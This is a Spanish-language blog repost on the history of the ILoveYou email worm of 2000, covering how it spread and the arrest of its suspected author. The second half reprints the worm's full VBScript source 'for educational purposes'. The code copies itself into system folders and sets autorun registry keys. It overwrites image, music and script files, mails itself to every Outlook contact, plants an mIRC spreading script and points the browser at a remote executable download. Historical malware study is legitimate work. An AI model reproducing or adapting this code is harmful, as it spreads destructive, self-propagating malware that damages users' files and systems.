15 años de ILoveYou: el Virus Que Usaba el Amor Como Arma Cibernética

Hace 15 años, un gusano llamado “ILoveYou” infectó más de 50 millones de computadoras en todo el mundo, incluyendo los sistemas del Pentágono, la CIA y el Parlamento británico. El virus, que consistía en una “carta de amor” que se difundía por correo electrónico, le costó al mundo más de 5.000 millones de dólares. Si bien el código fuente de ILoveYou no era nada del otro mundo, los especialistas aseguran su abrumadora propagación probablemente se debió a que el gusano explotaba una “vulnerabilidad” inherente al ser humano: la necesidad de ser amado.

 

i-love-you-keyboard-hd-wallpaper-cool-wallpapers-wallpaper-love-you-picture-sayang-forever-always-allah-keyboard-hd-cool-wallpapers

ILoveYou -también conocido como LoveLetter y VeryFunny- apareció por primera vez el 4 de mayo de 2000 y, en pocas horas, se esparció por todo el planeta a una velocidad extraordinaria. El gusano llegaba a la casilla de correo electrónico de los usuarios como un archivo adjunto llamado: LOVE-LETTER-FOR-YOU.TXT.vbs (“una carta de amor para ti”). El archivo utilizaba una doble extensión: .TXT.vbs, de forma que en todos los sistemas operativos que tenían activada la opción de “Ocultar las extensiones para tipos de archivo conocidos“, el documento parecía ser simplemente un archivo de Bloc de Notas.

Al mismo tiempo, el icono con forma de papiro les hacía pensar a los usuarios más inexpertos que efectivamente se trataba de un documento de texto. En este sentido, la prácticamente inexistente cultura de prevención de esa época y la escasez de soluciones de seguridad permitieron que, en pocos días, ILoveYou infectara al 10 por ciento de las PCs con conexión a Internet de todo el mundo.

apariencia-del-icono-y-codigo-del-virus-iloveyou

El lado técnico de ILoveYou

El mecanismo que ILoveYou empleaba para infectar un equipo, auto-replicarse y propagarse era el siguiente:

  1. El gusano se propagaba a través de Microsoft Outlook y Outlook Express. Ambos eran servicios de correo electrónico nativos de Windows 95, 98 y 2000, por lo tanto, estas plataformas eran utilizadas gran parte de los usuarios de todo el mundo. Cuando una persona abría el archivo del gusano, el código malicioso de ILoveYou accedía a la libreta de direcciones de Outlook y enviaba automáticamente una copia de sí mismo a toda la libreta de contactos de la víctima.
  2. Una vez infectado el sistema, el virus se replicaba y reemplazaba distintos tipos de archivos. El gusano se copiaba sobre todos los archivos con extensión: *.JPG, *.JPEG, *MP2, *MP3, *.VBS, *.VBE, *.JS, *.JSE, *.CSS, *.WSH, *.SCT y *.HTA, por nombrar algunos. ILoveYou sustituía todos los archivos y los convertía al formato VBS (Visual Basic Script). A su vez, contagiaba archivos en unidades de red mapeadas y era capaz de enviarse a usuarios que estuvieran participando en alguna sala de chat en la que había un miembro infectado.asi-se-veian-los-archivos-infectados-por-iloveyou
  3. Por último, el virus intentaba comunicarse con alguno de los cuatro sitios Web en Filipinas que tenían preparado para su descarga el archivo llamado WIN-BUGSFIX.exe. Estos sitios dejaron de estar online al día siguiente de la infección.

Las claves del ataque.

En el año 2000, la mayoría de los usuarios de Internet no utilizaba un antivirus para proteger su sistema. Al mismo tiempo, tampoco se le daba mayor importancia a los problemas de seguridad informática. No existía una legislación que regule los delitos cibernéticos. Ni tampoco era habitual recibir correos spam, por lo cual, los usuarios no estaban acostumbrados a tratar con precaución los mails que recibían. En este marco, cada receptor de la fatídica carta de amor se convertía en un blanco ideal de contagio.

Una vez superada la frágil barrera humana, la clave de la infección estaba dada por el lenguaje scriptde VBS, bajo el cual el virus había sido desarrollado.

Además, al momento de la epidema, uno de los sistemas operativos más utilizados era Windows 98, cuya configuración por defecto traía activado el Windows Script Host. Por lo tanto, en cualquier equipo que tuviera el lenguaje de scripting habilitado, VBScript le permitía a ILoveYou el acceso a las principales funciones del sistema: copiar, modificar, eliminar.

Si bien los especialistas afirman que el código fuente de ILoveYou no era “nada del otro mundo”, su rápida propagación probablemente se debió a que el gusano explotaba una “vulnerabilidad” inherente al ser humano: la necesidad de ser amado. A decir verdad, ¿quién podía resistirse a abrir una carta de amor inesperada? La curiosidad de los usuarios facilitó que la infección corriera como la pólvora y transformó a ILoveYou en el gusano de expansión más rápida de la historia de Internet. Al menos, así se mantuvo hasta 2004, año en el que el mundo de la seguridad informática conocería al temible MyDoom. Pero esa es una historia para otro momento.

week-in-it-4-10-7Cómo empezó todo

Casi desde el comienzo del incidente se señaló a Filipinas como el punto de partida de la infección global de ILoveYou. El 8 de mayo de 2000, cuatro días después de iniciada la epidemia, la Oficina Nacional de Investigación filipina arrestó a una pareja en Manila, la capital de ese país. Se trataba de Reonel Ramones, de 27 años, empleado del departamento de informática del Equitable Bank, y de su esposa Irene de Guzmán, de 23 años.

Cuando los agentes interrogaron a la pareja de Ramones, las sospechas recayeron sobre Onel de Guzmán, hermano de Irene. Según pudieron averiguar las autoridades, Onel de Guzmán, un estudiante de 24 años la AMA Computer College de Manila, formaban parte de un grupo llamado GRAMMERSoft (nombre que aparecía en el código fuente del ILoveYou), que se dedicaba a las programación de virus y la venta ilegal de exámenes y apuntes.

De Guzmán fue imputado primero en base a la Ley Normativa sobre Instrumentos de Acceso de Filipinas, que principalmente protegía las contraseñas de tarjetas de crédito. Pero, dado que no existía una legislación específica que regulara los crímenes cibernéticos, Onel debió ser puesto en libertad en agosto de ese mismo año, libre de culpa y cargo.

Por otra parte, De Guzmán nunca reconoció ante la prensa responsabilidad en el incidente de ILoveYou. De hecho, el joven acusado manifestó, desde un primer momento, que el virus que provocó una de las mayores epidemias de la historia de Internet, había sido “simplemente un accidente”.

Codigo fuente : no jueguen con esto, publico el código solo para propósitos educativos

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Mcft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Mcft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Mcft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate
 "HKCU\Software\Mcft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate
 "HKCU\Software\Mcft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate
 "HKCU\Software\Mcft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate
 "HKCU\Software\Mcft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
 .exe"
end if
end if
if 
(fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate 
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Mcft\Internet Explorer\Main\StartPage","about:blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine
 "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send
 $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Mcft\WAB"&a) if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Mcft\WAB"&malead) if (regad="")
then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB"&malead,1,"REG_DWORD" end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB"&a,a.AddressEntries.Count else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB"&a,a.AddressEntries.Count end if
next
Set out=Nothing
Set mapi=Nothing
end sub

sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META
NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email=ispyder@mail.com]ispyder@mail.com[/email] ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META
NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>-
Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"&lt;script language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"&lt;script LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set
wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf&
_
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424)
then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Mcft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
 _ "?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

Leer articulo original : https://blog.kaspersky.com.mx/15-anos-de-iloveyou-el-virus-que-usaba-el-amor-como-arma-cibernetica/5414/

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Crea un sitio web o blog en WordPress.com

Subir ↑

ESPACIO DE PROGRAMACION I

A space devoted to the learning of C

Espacio Informativo de Ana

Mozilla, Software Libre, Tecnología, más

Quartz

Quartz is a digitally native news outlet for the new global economy.

A %d blogueros les gusta esto: